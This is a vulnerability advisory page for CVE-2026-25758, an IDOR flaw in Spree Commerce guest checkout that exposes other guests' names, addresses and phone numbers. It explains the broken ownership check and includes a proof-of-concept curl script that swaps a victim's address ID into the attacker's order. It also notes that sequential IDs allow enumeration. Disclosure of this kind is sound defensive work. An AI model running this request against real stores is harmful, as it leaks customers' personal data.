Loading...
Skip to main content

CVE-2026-25758 — Vulnerability in spree_api — CVE Details

HIGH

Unauthenticated Spree Commerce users can access all guest addresses

Published February 5, 2026Updated February 22, 2026Source: osv

Summary

### Summary A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. ### Impact This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers). ### Unauthenticated users can access all guest addresses (`GHSL-2026-027`) The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (`bill_address_attributes[id]` and `ship_address_attributes[id]`) are properly validated through `validate_address_ownership`, plain ID parameters (`bill_address_id` and `ship_address_id`) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them. ### Affected Code Components 1. **Permitted Attributes** ([`core/lib/spree/permitted_attributes.rb:92–96`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96)) - Allows `bill_address_id` and `ship_address_id` as permitted parameters without validation 2. **Checkout Update** ([`core/app/models/spree/order/checkout.rb:241–254`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254)) - Applies permitted parameters directly to the Order model via `update_from_params` 3. **Incomplete Ownership Validation** ([`core/app/services/spree/checkout/update.rb:33–48`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48)) - `validate_address_ownership` only validates nested attributes structure - Does NOT validate plain `bill_address_id`/`ship_address_id` fields 4. **Vulnerable Assignment Logic** ([`core/app/models/spree/order/address_book.rb:16–23, 31–38`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38)) * [`bill_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L24) * [`ship_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L31-L39) Both setters check that: `address.user_id == order.user_id`. For guest orders: nil == nil → TRUE ✓ (bypass!) #### Proof of Concept Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the `spree_addresses` table. E.g. `3`) As a guest user: 1. Put one product in the cart and go to checkout. 2. Fill in some address/phone number and continue. 3. Modify this script containing a curl request with current values. ```bash #!/bin/bash ATTACKER_ORDER_TOKEN="" # Taken from the URL VICTIM_ADDRESS_ID="3" # As noted from the database CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`. SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store. curl -i -X POST \ -H "x-csrf-token: ${CSRF_TOKEN}" \ -H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \ -b "${SESSION_COOKIE}" \ --data-urlencode "_method=patch" \ --data-urlencode "authenticity_token=${CSRF_TOKEN}" \ --data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \ "http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address" ``` Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This can be verified by accessing `/checkout/${ATTACKER_ORDER_TOKEN}/delivery` in the same browser where you created the new guest cart. #### Impact This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers). #### CWEs - CWE-639: Authorization Bypass Through User-Controlled Key - CWE-284: Improper Access Control ### Credit This issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter Stöckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo). ### Disclosure Policy This report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).

Advisory Timeline

  • First published February 5, 2026 (249 days ago).
  • Last revised February 22, 2026 — 17 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update spree_api to 5.1.10 or later
gem install spree_api -v 5.1.10
Bundler
Update spree_api to 5.3.2 or later
gem install spree_api -v 5.3.2
Bundler
Update spree_api to 5.2.7 or later
gem install spree_api -v 5.2.7
Bundler
Update spree_api to 4.10.3 or later
gem install spree_api -v 4.10.3
Bundler
Update spree_api to 5.0.8 or later
gem install spree_api -v 5.0.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 1 ecosystem: rubygems (1).

PackageEcosystemAffectedFixed In
spree_api
rubygems
5.1.0, 5.1.1, 5.1.2, 5.1.3 (+6 more)5.1.10
spree_api
rubygems
5.3.0, 5.3.15.3.2
spree_api
rubygems
5.2.0, 5.2.1, 5.2.2, 5.2.3 (+3 more)5.2.7
spree_api
rubygems
0.30.0, 0.30.0.beta1, 0.30.1, 0.30.2 (+318 more)4.10.3
spree_api
rubygems
5.0.0, 5.0.1, 5.0.2, 5.0.3 (+4 more)5.0.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2026-25758?
Unauthenticated Spree Commerce users can access all guest addresses This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-25758?
CVE-2026-25758 affects spree_api. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-25758 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-87fh-rc96-6fr6

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies